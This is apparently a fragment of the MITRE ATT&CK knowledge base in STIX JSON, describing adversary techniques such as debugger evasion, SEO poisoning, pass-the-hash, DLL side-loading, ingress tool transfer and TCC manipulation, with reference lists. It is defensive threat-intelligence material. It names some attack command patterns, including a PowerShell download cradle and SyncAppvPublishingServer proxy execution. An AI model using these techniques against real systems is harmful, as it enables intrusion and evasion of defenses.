                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
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            "created": "2022-04-01T17:59:46.156Z",
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                    "external_id": "T1622"
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                {
                    "source_name": "Apriorit",
                    "description": "Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.",
                    "url": "https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software"
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                {
                    "source_name": "Checkpoint Dridex Jan 2021",
                    "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.",
                    "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
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                {
                    "source_name": "hasherezade debug",
                    "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.",
                    "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf"
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                {
                    "source_name": "Cado Security P2PInfect 2023",
                    "description": "jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.",
                    "url": "https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices"
                },
                {
                    "source_name": "AlKhaser Debug",
                    "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.",
                    "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug"
                },
                {
                    "source_name": "wardle evilquest partii",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x60.html"
                },
                {
                    "source_name": "ProcessHacker Github",
                    "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.",
                    "url": "https://github.com/processhacker/processhacker"
                },
                {
                    "source_name": "Positive Technologies Hellhounds 2023",
                    "description": "PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.",
                    "url": "https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat"
                },
                {
                    "source_name": "vxunderground debug",
                    "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.",
                    "url": "https://web.archive.org/web/20250904153443/https://github.com/vxunderground/VX-API/tree/main#anti-debug"
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            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Debugger Evasion",
            "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program\u2019s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program\u2019s execution to continue.(Citation: Apriorit)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
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                    "external_id": "T1036.006"
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                {
                    "source_name": "Mac Backdoors are back",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
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                    "external_id": "T1547.007"
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                {
                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                {
                    "source_name": "Wardle Persistence Chapter",
                    "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
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            "name": "Re-opened Applications",
            "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.",
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                {
                    "source_name": "MalwareBytes SEO",
                    "description": "Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.",
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                    "source_name": "Atlas SEO",
                    "description": "Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.",
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                    "source_name": "Sophos Gootloader",
                    "description": "Szappanos, G. & Brandt, A. (2021, March 1). \u201cGootloader\u201d expands its payload delivery options. Retrieved September 30, 2022.",
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                {
                    "source_name": "DFIR Report Gootloader",
                    "description": "The DFIR Report. (2022, May 9). SEO Poisoning \u2013 A Gootloader Story. Retrieved September 30, 2022.",
                    "url": "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/"
                },
                {
                    "source_name": "ZScaler SEO",
                    "description": "Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.",
                    "url": "https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0"
                },
                {
                    "source_name": "Chexmarx-seo",
                    "description": "Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.",
                    "url": "https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7"
                },
                {
                    "source_name": "Checkmarx-oss-seo",
                    "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.",
                    "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/"
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            "modified": "2025-04-15T23:01:38.651Z",
            "name": "SEO Poisoning",
            "description": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)",
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                    "source_name": "Stealthbits Overpass-the-Hash",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
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            "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
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                {
                    "source_name": "FireEye DLL Side-Loading",
                    "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.",
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            "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
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            "created": "2017-05-31T21:31:16.408Z",
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                    "url": "https://attack.mitre.org/techniques/T1105",
                    "external_id": "T1105"
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                {
                    "source_name": "T1105: Trellix_search-ms",
                    "description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.",
                    "url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"
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                {
                    "source_name": "Google Cloud Threat Intelligence COSCMICENERGY 2023",
                    "description": "COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/"
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                {
                    "source_name": "Dropbox Malware Sync",
                    "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
                    "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "t1105_lolbas",
                    "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.",
                    "url": "https://lolbas-project.github.io/#t1105"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
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            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Ingress Tool Transfer",
            "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)  A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)",
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                    "external_id": "T1216.002"
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                {
                    "source_name": "4 - appv",
                    "description": "John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.",
                    "url": "https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/"
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                    "source_name": "2 - appv",
                    "description": "Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.",
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                    "source_name": "5 - appv",
                    "description": "Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.",
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                {
                    "source_name": "7 - appv",
                    "description": "Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.",
                    "url": "https://x.com/monoxgas/status/895045566090010624"
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                {
                    "source_name": "3 - appv",
                    "description": "Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.",
                    "url": "https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/"
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                    "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.",
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                    "source_name": "6 - appv",
                    "description": "Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.",
                    "url": "https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html"
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            "name": "SyncAppvPublishingServer",
            "description": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example,  [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`",
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                    "url": "https://attack.mitre.org/techniques/T1098/002",
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                {
                    "source_name": "Bienstock, D. - Defending O365 - 2019",
                    "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.",
                    "url": "https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511"
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                {
                    "source_name": "Crowdstrike Hiding in Plain Sight 2018",
                    "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.",
                    "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"
                },
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                    "source_name": "Google Ensuring Your Information is Safe",
                    "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.",
                    "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"
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                    "source_name": "Gmail Delegation",
                    "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.",
                    "url": "https://support.google.com/a/answer/7223765?hl=en"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
                    "url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf"
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                    "source_name": "Mandiant Defend UNC2452 White Paper",
                    "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.",
                    "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"
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                {
                    "source_name": "Microsoft - Add-MailboxPermission",
                    "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"
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            "name": "Additional Email Delegate Permissions",
            "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
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                    "source_name": "Technet Net Use",
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                    "source_name": "Microsoft DART Case Report 001",
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                    "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
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                    "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
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                    "source_name": "OWN-CERT Google App Script 2024",
                    "description": "L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.",
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                    "source_name": "Cado Security Denonia",
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                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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                {
                    "source_name": "Rhingo Security Labs GCP Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved May 27, 2022.",
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                    "description": "Marc-Etienne M.L\u00e9veill\u00e9. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.",
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                    "source_name": "TCC Database",
                    "description": "Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.",
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                    "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.",
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            "name": "TCC Manipulation",
            "description": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\n",
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                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
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                {
                    "source_name": "Kazanciyan 2014",
                    "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.",
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                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
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                    "source_name": "AppleDocs Launch Agent Daemons",
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                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                    "source_name": "OSX Malware Detection",
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                    "description": " Idan Dardikman. (2025, October 18). GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace. Retrieved April 21, 2026.",
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                    "description": "Charlie Eriksen. (2025, May 13). You're Invited: Delivering malware via Google Calendar invites and PUAs. Retrieved April 21, 2026.",
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                    "url": "https://www.trendmicro.com/en_us/research/25/a/invisible-prompt-injection-secure-ai.html"
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                    "source_name": "LLMs and Unicode - Medium",
                    "description": "Idan Habler. (2025, September 12). Hiding in Plain Sight: Weaponizing Invisible Unicode to Attack LLMs. Retrieved April 21, 2026.",
                    "url": "https://idanhabler.medium.com/hiding-in-plain-sight-weaponizing-invisible-unicode-to-attack-llms-f9033865ec10"
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                    "source_name": "Tycoon2FA - Unicode",
                    "description": "Rodel Mendrez. (2025, April 10). Tycoon2FA New Evasion Technique for 2025. Retrieved April 21, 2026.",
                    "url": "https://www.levelblue.com/blogs/spiderlabs-blog/tycoon2fa-new-evasion-technique-for-2025"
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                    "source_name": "Unicode and Hidden Prompts - Perets",
                    "description": "Shaked Perets. (2025, December 7). Invisible Code & Hidden Prompts \u2013 How Attackers Weaponize Unicode in Repos (and How SAST Can Help). Retrieved April 21, 2026.",
                    "url": "https://cycode.com/blog/invisible-code-hidden-prompts-unicode-attacks-sast/"
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                    "source_name": "Unicode - Veracode",
                    "description": "Veracode Threat Research. (2025, June 9). Down the Rabbit Hole of Unicode Obfuscation. Retrieved April 21, 2026.",
                    "url": "https://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/"
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                    "source_name": "BH Linux Inject",
                    "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
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                    "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
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                    "source_name": "CoinLoader: A Sophisticated Malware Loader Campaign",
                    "description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.",
                    "url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"
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                    "source_name": "BATLOADER: The Evasive Downloader Malware",
                    "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.",
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                    "source_name": "Two New Monero Malware Attacks Target Windows and Android Users",
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                    "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.",
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                    "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.",
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                    "description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.",
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                    "source_name": "Huntress API Hash",
                    "description": "Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.",
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                    "source_name": "BlackHat API Packers",
                    "description": "Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022.",
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                    "source_name": "Drakonia HInvoke",
                    "description": "drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022.",
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                    "description": "spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022.",
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                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 17, 2024.",
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                    "source_name": "TechNet Remote Desktop Services",
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            "name": "Remote Desktop Protocol",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)",
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                    "source_name": "Hexacorn Logon Scripts",
                    "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.",
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                    "external_id": "T1055.015"
                },
                {
                    "source_name": "Hexacorn Listplanting",
                    "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
                    "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                },
                {
                    "source_name": "Microsoft List View Controls",
                    "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
                    "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
                },
                {
                    "source_name": "Modexp Windows Process Injection",
